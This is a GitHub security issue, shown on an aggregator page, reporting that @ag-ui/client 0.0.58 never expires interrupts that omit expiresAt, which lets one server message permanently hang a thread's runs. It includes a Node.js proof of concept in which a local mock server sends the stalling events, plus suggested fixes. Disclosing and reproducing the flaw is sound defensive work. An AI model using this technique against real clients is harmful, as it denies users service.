ag-ui-protocol / ag-ui-protocol/ag-ui

[BUG]: Interrupts with omitted `expiresAt` never expire: one `RUN_FINISHED` permanently bricks the thread's runs

Ouverte
#2,525 0 commentaires 0 réactions 0 personnes assignées Voir sur GitHub
Langage dominant
Python
Étoiles
15.9k
Forks
1.4k
Merge moyen
1 j 17 h
PR mergées (30 j)
163

Description

# Interrupts with omitted `expiresAt` never expire: one `RUN_FINISHED` permanently bricks the thread's runs

Repository: https://github.com/ag-ui-protocol/ag-ui
Affected: `@ag-ui/client` (verified against published npm release 0.0.58)
CWE: CWE-400 / CWE-754 (Improper Check for Unusual or Exceptional Conditions)

## Summary

Interrupt expiry treats a missing `expiresAt` as "not expired" (`expiresAt === undefined → false`), with no default TTL. A server that finishes a run with `outcome: {type: "interrupt", interrupts: [{id: "a"}, {id: "b"}, …]}` — expiry simply omitted — leaves the client with pending interrupts that can never auto-clear, and subsequent `runAgent` calls for that thread never settle. This is the mirror image of the HITL-gate finding from the first advisory batch (F-10, server clears the gate itself): here the server makes the gate **unclearable**, and neither the user nor a timeout can recover the thread. Distinct mechanism, same interrupt subsystem.

## Affected code

- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, `isInterruptExpired` — `expiresAt === undefined` returns `false` (never expires), no default TTL
- `@ag-ui/client` (npm 0.0.58) `dist/index.mjs`, run lifecycle — pending interrupts from a server-controlled `RUN_FINISHED` outcome gate all subsequent runs of the thread

## Observed behavior (measured)

Run 1 finishes with three interrupts (no `expiresAt`); run 2 (a resume addressing one of them) is then issued:

| observation | result |
|---|---|
| run 1 promise | never settles (awaits resume indefinitely) |
| run 2 | hangs; never completes (pending-interrupt gate, no auto-expiry) |

## Impact

A single spec-valid `RUN_FINISHED` message permanently stalls the client's run handling for that thread with no auto-recovery path. Availability; user-facing lockup of the agent session.

## Suggested remediation

- Default `expiresAt` to a bounded TTL when the field is omitted, or reject interrupts without `expiresAt`.
- Enforce a maximum number of pending interrupts per thread.

## PoC

Prerequisites: Node ≥ 20 with `@ag-ui/client@0.0.58` installed. Run `node poc_f30.mjs`; on success it prints a JSON verdict ending in `"confirmed": true` and exits 0. (Total runtime ≈ 5 s: the PoC deliberately waits to demonstrate that run 2 never settles.)

```js
// poc_f30.mjs — F-30: interrupt never-expiry thread bricking. Fire run1
// (interrupt, not awaited), let pendingInterrupts populate, then fire run2 with
// a resume that omits an interrupt id → the client's subsequent runAgent call
// never settles: isInterruptExpired treats expiresAt===undefined as
// never-expired, so the pending interrupts can never auto-clear; the thread is
// bricked unless resume names every id.
import http from 'node:http';
import { HttpAgent } from '@ag-ui/client';

let reqCount = 0;
const srv = http.createServer((req, res) => {
req.on('end', () => {
reqCount++;
res.writeHead(200, { 'Content-Type': 'text/event-stream' });
if (reqCount === 1) {
for (const ev of [
{ type: 'RUN_STARTED', threadId: 't1', runId: 'r1' },
{ type: 'RUN_FINISHED', threadId: 't1', runId: 'r1', outcome: {
type: 'interrupt',
interrupts: [{ id: 'i-a' }, { id: 'i-b' }, { id: 'i-c' }],
} },
]) res.write(`data: ${JSON.stringify(ev)}\n\n`);
} else {
for (const ev of [
{ type: 'RUN_STARTED', threadId: 't1', runId: 'r2' },
{ type: 'RUN_FINISHED', threadId: 't1', runId: 'r2' },
]) res.write(`data: ${JSON.stringify(ev)}\n\n`);
}
res.end();
});
});
await new Promise(r => srv.listen(0, '127.0.0.1', r));
const port = srv.address().port;

const agent = new HttpAgent({ url: `http://127.0.0.1:${port}/`, threadId: 't1' });
// fire run1 but DON'T await — it hangs awaiting resume; pendingInterrupts populate
const run1 = agent.runAgent({ messages: [{ role: 'user', content: 'go' }] }).catch(e => e);
await new Promise(r => setTimeout(r, 800)); // let the interrupt stream be consumed

// run2: resume names only 1 of 3 → expect it never to settle
let threw = false, msg = '';
try {
await Promise.race([
agent.runAgent({ resume: [{ interruptId: 'i-a', status: 'resolved' }] }),
new Promise((_, rej) => setTimeout(() => rej(new Error('timeout')), 4000)),
]);
} catch (e) { threw = true; msg = String(e.message || e); }

// confirmed: after never-expiring interrupts, run2 cannot proceed (the thread is
// bricked — the client's subsequent runAgent calls never settle, with no
// auto-recovery because expiresAt===undefined never auto-clears).
const ok = threw && /timeout/i.test(msg);
console.log(JSON.stringify({
finding: 'F-30-interrupt-never-expiry-thread-bricking',
run2_did_not_complete: threw,
run2_hung: /timeout/i.test(msg),
error_preview: msg.slice(0, 60),
confirmed: ok,
}, null, 2));
srv.close();
process.exit(ok ? 0 : 1);
```

Guide de contribution

Ouvrir le guide de contribution

Évaluation

Cette issue n'a pas encore été évaluée.

Recevez les nouvelles issues par e-mail

Un résumé court des issues GitHub adaptées aux débutants.